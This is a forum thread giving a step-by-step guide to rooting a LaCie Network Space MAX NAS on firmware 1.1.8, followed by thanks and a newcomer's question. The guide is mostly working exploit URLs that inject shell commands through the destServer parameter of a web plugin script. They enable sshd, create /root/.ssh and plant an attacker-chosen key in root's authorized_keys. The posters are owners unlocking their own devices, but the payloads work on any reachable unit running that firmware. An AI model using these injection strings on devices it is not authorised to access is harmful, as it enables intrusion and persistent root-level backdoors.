Full guide to obtaining root on 1.1.8 firmware

Post Reply
KillaHurtz
Posts: 33
Joined: Thu May 19, 2011 3:55 am

Full guide to obtaining root on 1.1.8 firmware

Post by KillaHurtz » Tue May 24, 2011 6:31 pm

I'm writing this guide in hopes of helping somone do this quick and easy.

1. Make sure your SpaceMax 4tb/2tb is on firmware 1.1.8, If not

Code: Select all

http://www.lacie.com/download/drivers/Network%20Space%20MAX%20Update%20Capsule%201.1.8.zip
2. Enable ssh

Code: Select all

http://your.SpaceMax.ip.address/browser/plugins/access.ssh/checkInstall.php?destServer=2%3E/dev/null||echo%20sshd%3E%3E/etc/initng/runlevel/default.runlevel

3. Generate a public/private keypair

Code: Select all

ssh-keygen -b 1024 -t rsa -N YOUR_PASSWORD -f lacie_sm
4. Create a folder for the public key on the SpaceMax

Code: Select all

http://your.SpaceMax.ip.address/browser/plugins/access.ssh/checkInstall.php?destServer=2%3E/dev/null||mkdir%20-p%20/root/.ssh%3Etest.txt&&echo%20%22--Host%22 
5. Encode the key

Code: Select all

open in your browser site http://www.string-functions.com/urlencode.aspx
Enter the contents of file lacie_sm.pub in the upper window, and then click "Encode!".
in the lower window appears encoded rsa pub key content that will be necessary in these queries
6. Install the public key

Code: Select all

http://your.SpaceMax.ip.address/browser/plugins/access.ssh/checkInstall.php?destServer=2%3E/dev/null||echo%20<INSERT ENCODED RSA PUB KEY HERE>%3E/root/.ssh/authorized_keys&&echo%20%22--Host%22
6. Reboot the device

7. If everything went ok you should be able to connect via ssh with

Code: Select all

ssh -i ./lacie_sm root@your.SpaceMax.ip.address
8. Other notes and possibilities.
You need to be root to access the ssh terminal on the device. (In windows use PuTTy or WinSCP)
If you think its not working do a check:

Code: Select all

http://your.SpaceMax.ip.addressbrowser/plugins/access.ssh/checkInstall.php?destServer=2%3E/dev/null||cat%20/etc/initng/runlevel/default.runlevel%3Etest.txt&&echo%20%22--Host%22
See the results:

Code: Select all

http://your.SpaceMax.ip.address/browser/plugins/access.ssh/test.txt
You should see sshd on the list, but if it has # in front you did something wrong.

Big thanks to : ak97, andreus, quicknick, & kalleguld

User avatar
timtim
Posts: 120
Joined: Fri Jul 04, 2008 8:41 pm

Re: Full guide to obtaining root on 1.1.8 firmware

Post by timtim » Wed May 25, 2011 12:25 am

Thanks - have made this sticky! A good one for the wiki perhaps too?

KillaHurtz
Posts: 33
Joined: Thu May 19, 2011 3:55 am

Re: Full guide to obtaining root on 1.1.8 firmware

Post by KillaHurtz » Wed May 25, 2011 6:26 am

Wow, thanx. But really I just compiled a bunch of scripts from the NetworkSpace2 forums that worked for my device. I figured people with this device would look here initially and like a clear guide :)

jilp
Posts: 1
Joined: Tue Aug 16, 2011 5:20 pm

Re: Full guide to obtaining root on 1.1.8 firmware

Post by jilp » Tue Aug 16, 2011 5:39 pm

Hello, I´m completely newbie. I bought a Network space max last week, and can´t show other than AVI files through DLNA. I have been reading here and there, and this forum is awesome. But I barely understand anything, anyway I am tryng. I did the steps until 3, where I am using instead PUTTYGEN, how does this modify the procedure? I don´t undertand where to type ssh-keygen -b 1024 -t rsa -N YOUR_PASSWORD -f lacie_smm, is this typed in PUTTY? In fact I executed the commands listed in the thread Getting Root for NS2 using a vulnerability web interface and worked ok until step 6 where is shown a table qith commands and I stop again in the key pair generation. Could you please tell me in more detail how to complete the procedure? After getting root access I will try to update twonky server.

Thanks a lot. Regards :(

KillaHurtz
Posts: 33
Joined: Thu May 19, 2011 3:55 am

Re: Full guide to obtaining root on 1.1.8 firmware

Post by KillaHurtz » Wed Aug 24, 2011 6:55 pm

jilp wrote:Hello, I´m completely newbie. I bought a Network space max last week, and can´t show other than AVI files through DLNA. I have been reading here and there, and this forum is awesome. But I barely understand anything, anyway I am tryng. I did the steps until 3, where I am using instead PUTTYGEN, how does this modify the procedure? I don´t undertand where to type ssh-keygen -b 1024 -t rsa -N YOUR_PASSWORD -f lacie_smm, is this typed in PUTTY? In fact I executed the commands listed in the thread Getting Root for NS2 using a vulnerability web interface and worked ok until step 6 where is shown a table qith commands and I stop again in the key pair generation. Could you please tell me in more detail how to complete the procedure? After getting root access I will try to update twonky server.

Thanks a lot. Regards :(
You can either generate the pair on the Lacie itself through the terminal, Linux terminal, or windows command.

Post Reply